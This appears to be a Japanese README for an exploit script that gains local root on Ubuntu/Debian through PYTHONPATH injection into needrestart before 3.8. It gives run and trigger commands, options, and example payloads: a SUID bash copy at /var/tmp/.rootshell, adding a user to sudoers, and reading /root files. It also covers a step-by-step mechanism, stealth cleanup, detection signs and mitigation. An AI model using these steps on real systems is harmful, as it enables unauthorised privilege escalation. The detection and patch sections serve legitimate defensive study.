
Ubuntu/Debian システム上の needrestart < 3.8 を対象とした、PYTHONPATH インジェクションによるローカル権限昇格エクスプロイトです。
needrestart は Ubuntu/Debian サーバーによくインストールされるユーティリティで、ライブラリのアップグレード後にどのサービスを再起動する必要があるかをチェックします。root として実行され、通常は apt 操作の後に自動的にトリガーされるか、sudo 経由で直接呼び出されます。
Python プロセスをチェックする際、needrestart は /proc/<pid>/environ から プロセスの完全な環境を継承 して Python インタプリタを再呼び出します — これには PYTHONPATH も含まれます。権限のないローカルユーザーは次の方法でこれを悪用できます:
PYTHONPATH を悪意のある importlib パッケージを含むディレクトリに設定するimportlib/__init__.py を root として ロードする| パッケージ | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
確認済みの環境:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
その後、別のターミナルから needrestart をトリガーします:
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart
# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils
needrestart がトリガーされると、エクスプロイトは /var/tmp/.rootshell に SUID シェルを作成し、自動的にルートシェルに移行します。
自動実行が機能しない場合は、手動でシェルを起動します:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> Custom shell command to run as root (default: copy suid shell)
-w <seconds> Max wait time in seconds (default: 300)
-t Trigger mode: attempt to trigger needrestart via apt
-n No cleanup: keep payload directory after exploitation
-h Show this help message
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh
# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t
# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Extended wait (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/tmp/ ではなく /var/tmp/ に配置されます。これは /tmp が一般的に nosuid オプションでマウントされており、SUID ビットが静的に削除されるためです。importlib/__init__.py は、ペイロード実行後に sys.path と sys.modules をクリーンアップして本来の importlib を復元するため、needrestart は目に見えるクラッシュを起こしません。.py ファイル(-c ワンライナーではない)を実行します。このエクスプロイトが使用された兆候:
/var/tmp/ または /tmp/ 内の予期しない SUID バイナリPYTHONPATH 値で実行されている Python プロセス/tmp/.nr_* に一致するディレクトリに importlib/ サブディレクトリが含まれている# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart
# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。所有しているシステム、またはテストする明示的な書面による許可があるシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する一切の責任を負いません。
MIT